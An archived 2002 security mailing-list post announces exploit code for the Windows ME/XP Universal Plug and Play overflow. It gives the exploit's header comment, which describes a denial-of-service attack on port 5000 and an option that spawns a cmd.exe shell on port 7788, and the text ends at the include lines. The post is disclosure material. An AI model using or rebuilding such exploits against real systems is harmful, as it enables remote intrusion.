

# [EXPL] UPNP Exploit Code Released

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0017.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 01/04/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Fri, 4 Jan 2002 19:06:39 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

UPNP Exploit Code Released

---

## SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/windowsntfocus/6M00L0U3FU.html>> UPNP -- Multiple Remote Windows XP/ME/98 Vulnerabilities, a security vulnerability in the universal plug-and-play feature of Windows allows attackers to execute arbitrary commands remotely. The following is an exploit code that can be used to test for this vulnerability.

## DETAILS

Exploit:

/\*

\* WinME/XP UPNP dos & overflow

\*

\* Run: ./XPloit host <option>

\*

\* Windows run the "Universal Plug and Play technology" service

\* at port 5000. In the future this will allow for seamless

\* connectivity of various devices such as a printer.

\* This service have a DoS and a buffer overflow I exploit here.

\*

\* PD: the -e option spawns a cmd.exe shell on port 7788 coded by isno

\*

## Securiteam: [EXPL] UPNP Exploit Code Released

\* Author: Gabriel Maggiotti  
\* Email: [gmaggiot@ciudad.com.ar](mailto:gmaggiot@ciudad.com.ar)  
\* Webpage: <http://qb0x.net>  
\*/

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
```

```
#define
```